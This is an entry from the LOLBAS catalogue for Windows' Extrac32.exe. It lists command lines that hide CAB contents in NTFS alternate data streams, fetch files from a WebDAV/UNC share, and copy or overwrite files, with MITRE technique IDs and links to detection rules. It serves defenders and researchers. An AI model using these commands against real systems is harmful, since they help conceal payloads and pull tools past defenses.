LOLBAS/yml/OSBinaries/Extrac32.yml

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---
Name: Extrac32.exe
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Description: Extract to ADS, copy or overwrite a file with Extrac32.exe
Author: 'Oddvar Moe'
Created: 2018-05-25
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Commands:
- Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
Description: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
Usecase: Extract data from cab file and hide it in an alternate data stream.
Category: ADS
Privileges: User
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MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
Description: Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.
Usecase: Extract data from cab file and hide it in an alternate data stream.
Category: ADS
Privileges: User
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MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Description: Copy the source file to the destination file and overwrite it.
Usecase: Download file from UNC/WEBDav
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
Description: Command for copying calc.exe to another folder
Usecase: Copy file
Category: Copy
Privileges: User
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
- Path: C:\Windows\System32\extrac32.exe
- Path: C:\Windows\SysWOW64\extrac32.exe
Code_Sample:
- Code:
Detection:
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
- Sigma: https://github.com/SigmaHQ/sigma/blob/0f33cbc85bf4b23b8d8308bfcc8b21a9e5431ee7/rules/windows/process_creation/win_pc_lolbas_extrac32.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/0f33cbc85bf4b23b8d8308bfcc8b21a9e5431ee7/rules/windows/process_creation/win_pc_lolbas_extrac32_ads.yml
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Resources:
- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
- Link: https://twitter.com/egre55/status/985994639202283520
Acknowledgement:
- Person: egre55
Handle: '@egre55'
- Person: Oddvar Moe
Handle: '@oddvarmoe'
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- Person: Hai Vaknin(Lux
Handle: '@VakninHai'
- Person: Tamir Yehuda
Handle: '@tim8288'